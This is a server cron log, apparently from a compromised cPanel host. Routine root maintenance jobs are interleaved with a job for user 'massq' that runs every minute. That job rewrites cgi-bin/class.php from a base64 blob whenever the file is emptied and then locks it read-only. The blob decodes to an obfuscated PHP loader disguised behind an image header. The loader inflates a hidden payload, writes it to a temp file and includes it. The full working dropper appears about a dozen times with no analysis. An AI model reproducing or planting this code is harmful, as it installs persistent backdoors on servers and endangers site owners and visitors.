Aug 30 13:29:01 server CROND[32488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:30:01 server CROND[424]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:30:01 server CROND[425]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:30:01 server CROND[431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:30:01 server CROND[430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:30:01 server CROND[432]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:30:01 server CROND[434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:30:01 server CROND[433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:30:01 server CROND[435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:31:01 server CROND[1520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:31:01 server CROND[1521]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:31:01 server CROND[1522]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:32:01 server CROND[2173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:32:01 server CROND[2174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:32:01 server CROND[2175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:33:01 server CROND[2583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:33:01 server CROND[2584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:33:01 server CROND[2582]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:34:01 server CROND[3091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:34:01 server CROND[3092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:34:01 server CROND[3093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:35:01 server CROND[3485]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:35:01 server CROND[3487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:35:01 server CROND[3488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:35:01 server CROND[3493]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 13:35:01 server CROND[3494]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:35:01 server CROND[3497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:35:01 server CROND[3499]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:35:01 server CROND[3495]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 13:35:01 server CROND[3496]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:36:01 server CROND[4331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:36:01 server CROND[4332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:36:01 server CROND[4333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:37:01 server CROND[4729]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:37:01 server CROND[4730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:37:01 server CROND[4731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:38:01 server CROND[5100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:38:01 server CROND[5101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:38:01 server CROND[5102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:39:01 server CROND[5562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:39:01 server CROND[5563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:39:01 server CROND[5564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:39:01 server CROND[5565]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 13:40:01 server CROND[5967]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:40:01 server CROND[5968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:40:01 server CROND[5973]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:40:01 server CROND[5971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:40:01 server CROND[5975]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:40:01 server CROND[5976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:40:01 server CROND[5972]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
